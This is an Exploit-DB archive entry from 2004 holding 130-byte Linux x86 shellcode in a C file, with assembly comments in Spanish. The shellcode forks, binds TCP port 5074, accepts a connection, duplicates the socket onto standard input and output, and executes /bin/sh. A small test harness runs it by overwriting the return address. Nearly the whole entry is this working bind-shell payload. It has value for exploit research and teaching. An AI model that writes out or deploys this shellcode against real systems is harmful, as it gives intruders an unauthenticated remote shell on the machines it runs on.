Linux/x86 - Bind (5074/TCP) Shell + fork() Shellcode (130 bytes)

EDB-ID:

13449

CVE:

N/A




Platform:

Linux_x86

Date:

2004-09-12


/*
 * s0t4ipv6@shellcode.com.ar
 * 0x9abril0x7d2

sys_socketcall (102) (0x66) %eax, esta es nuestra rutina principal.
En todas las subrutinas vamos a necesitar a:

%eax = 0x66.

Luego del archivo include/linux/net.h obtenemos la siguiente lista, echenle un vistazo.
Entonces en %ebx vamos a necesitar el valor de la subrutina que estemos.

subrutina       %ebx
--------------------
SYS_SOCKET      0x1
SYS_BIND        0x2
SYS_CONNECT     0x3
SYS_LISTEN      0x4
SYS_ACCEPT      0x5
--------------------

En memoria vamos asi
Cada subrutina va a afectar a %ebp de la siguiente forma
%ebp
---------------------------------------------------------
offset  0x8     0xc     0x10    0x14    0x16    0x18
=========================================================
socket  |0x2    |0x1    |0x0    |///////|///////|///////|
        -------------------------------------------------
bind    |0x5(1) |*0x14  |0x10   |0x2    |0xd213 |0x0    |
        -------------------------------------------------
listen  |0x5(1) |0x1    |0x10   |0x2    |0xd213 |0x0    |
        -------------------------------------------------
accept  |0x5(1) |0x0    |NULL   |0x2    |0xd213 |0x0    |
        -------------------------------------------------

*0x14   es la direccion de memoria de %ebp+14
(*1)    el valor de %eax cambia despues de cada syscall

(*2)	Remitirse al archivo adjunto notas-lnx-bind.txt

 *
 */

#include <stdio.h>

char shellcode[]=
// Shellcode                    // AsmCode                      / Comentarios                   Referencia kernel
// sys_fork (2)
"\x31\xc0"                      // xorl         %eax,%eax
"\x89\xc3"                      // movl         %eax,%ebx
"\xb0\x02"                      // movb         $0x2,%al	/ sys_fork (2)
"\xcd\x80"                      // int          $0x80
"\x38\xc3"                      // cmpl         %ebx,%eax	/ Pregunto; %eax = 0x0
"\x74\x05"                  	// je      	0x5		/ Si es verdadero me salto el la funcion exit

// sys_exit (1)
"\x8d\x43\x01"			// leal   	0x1(%ebx),%eax  / sys_exit (1)
"\xcd\x80"                      // int          $0x80

// Subrutina socket
// soccer=socket(2,1,0)
"\x31\xc0"                      // xorl    %eax,%eax		
"\x89\x45\x10"                  // movl    %eax,0x10(%ebp)	/ IPPROTO_IP = 0x0		include/linux/in.h
"\x40"                          // incl    %eax			/ %eax es 0x1
"\x89\xc3"                      // movl    %eax,%ebx		/ SYS_SOCKET = 0x1		include/linux/net.h
"\x89\x45\x0c"                  // movl    %eax,0xc(%ebp)	/ SOCK_STREAM = 0x1		include/linux/socket.h
"\x40"                          // incl    %eax			/ %eax es 0x2
"\x89\x45\x08"                  // movl    %eax,0x8(%ebp)	/ AF_INET = 0x2			include/linux/socket.h
"\x8d\x4d\x08"                  // leal    0x8(%ebp),%ecx	/ Direccion de nuestra construccion a %ecx
"\xb0\x66"                      // movb    $0x66,%al		/ sys_socketcall (102)
"\xcd\x80"                      // int     $0x80
"\x89\x45\x08"                  // movl    %eax,0x8(%ebp)	/ Guardo el valor de %eax en 0x8(%ebp) Ref(*1)

                                                                // %eax=0x5 %ebx=0x1 %ecx=(%edi+8) %edx=0x3
// Subrutina bind
// bind(soccer, (struct sockaddr*)&serv, sizeof(struct sockaddr))
"\x43"                          // incl    %ebx			/ SYS_BIND = 0x2		include/linux/net.h
"\x66\x89\x5d\x14"              // movw    %bx,0x14(%ebp)	/ AF_INET = 0x2			include/linux/socket.h	
"\x66\xc7\x45\x16\x13\xd2"      // movw    $0xd213,0x16(%ebp)	/ Numero de puerto 5074ipv6 ;-))
"\x31\xd2"                      // xorl    %edx,%edx		
"\x89\x55\x18"                  // movl    %edx,0x18(%ebp)	/ %edx es 0x0
"\x8d\x55\x14"                  // leal    0x14(%ebp),%edx	/ Usamos %edx como registro intermedio
"\x89\x55\x0c"                  // movl    %edx,0xc(%ebp)	/ 
"\xc6\x45\x10\x10"              // movb    $0x10,0x10(%ebp)	/ sizeof(struct sockaddr) = 10h = 16
"\xb0\x66"                      // movb    $0x66,%al		/	4 bytes = AF_INET
"\xcd\x80"                      // int     $0x80		/	4 bytes = Puerto
								//	8 bytes = 0.0.0.0

                                                                // %eax=0x0 %ebx=0x2 %ecx=(%edi+8) %edx=(%edi+14)
// Subrutina listen
// listen(soccer, 1)
"\x40"                          // incl    %eax
"\x89\x45\x0c"                  // movl    %eax,0xc(%ebp)	/ Aceptamos 1 conexion, 2 no tendria sentido
"\x43"				// incl	   %ebx			/ Ref(*2a)		
"\x43"				// incl	   %ebx			/ SYS_LISTEN = 0x4		include/linux/net.h
"\xb0\x66"                      // movb    $0x66,%al		
"\xcd\x80"                      // int     $0x80

                                                                // %eax=0x0 %ebx=0x4 %ecx(%edi+8) %edx=(%edi+14)
// Subrutina accept
// int accept(int s, struct sockaddr *addr, socklen_t *addrlen);
"\x43"                          // incl    %ebx			/ %ebx es 0x5
"\x89\x45\x0c"                  // movl    %eax,0xc(%ebp)	/ Ponemos 0 en 0xc(%ebp)
"\x89\x45\x10"                  // movl    %eax,0x10(%ebp)	/ Y un NULL en 0x10(%ebp) Ref(*2b)
"\xb0\x66"                      // movb    $0x66,%al		
"\xcd\x80"                      // int     $0x80
"\x89\xc3"                      // movl    %eax,%ebx		/ El valor de soccer a %ebx

// Ahora vamos a cambiar la syscall a sys_dup2 (63)
// dup2(soccer, 0) el valor de soccer ya lo tenemos en ebx 3 lineas arriba
"\x31\xc9"                      // xorl    %ecx,%ecx		/ %ecx es 0x0	
"\xb0\x3f"                      // movb    $0x3f,%al		/ sys_dup2 (63)		    
"\xcd\x80"                      // int     $0x80		/	    
"\x41"                          // incl    %ecx			/ %ecx es 0x1
"\x80\xf9\x03"                  // cmpb    $0x3,%cl		/ Pregunto; %ecx = 3
"\x75\xf6"                      // jne     -0xa			/ si es falso salto al movb

// execve			// Minishell de Raise
"\x31\xd2"                      // xorl    %edx,%edx
"\x52"                          // pushl   %edx
"\x68\x6e\x2f\x73\x68"          // pushl   $0x68732f6e
"\x68\x2f\x2f\x62\x69"          // pushl   $0x69622f2f
"\x89\xe3"                      // movl    %esp,%ebx
"\x52"                          // pushl   %edx
"\x53"                          // pushl   %ebx
"\x89\xe1"                      // movl    %esp,%ecx
"\xb0\x0b"                      // movb    $0xb,%al		/ Raise: esta linea la modifique para reducir 1 byte
"\xcd\x80";                     // int     $0x80


void main () {
        int *ret;
        ret=(int *)&ret +2;
        printf("Shellcode lenght=%d\n",strlen(shellcode));
        (*ret) = (int)shellcode;
}

// milw0rm.com [2004-09-12]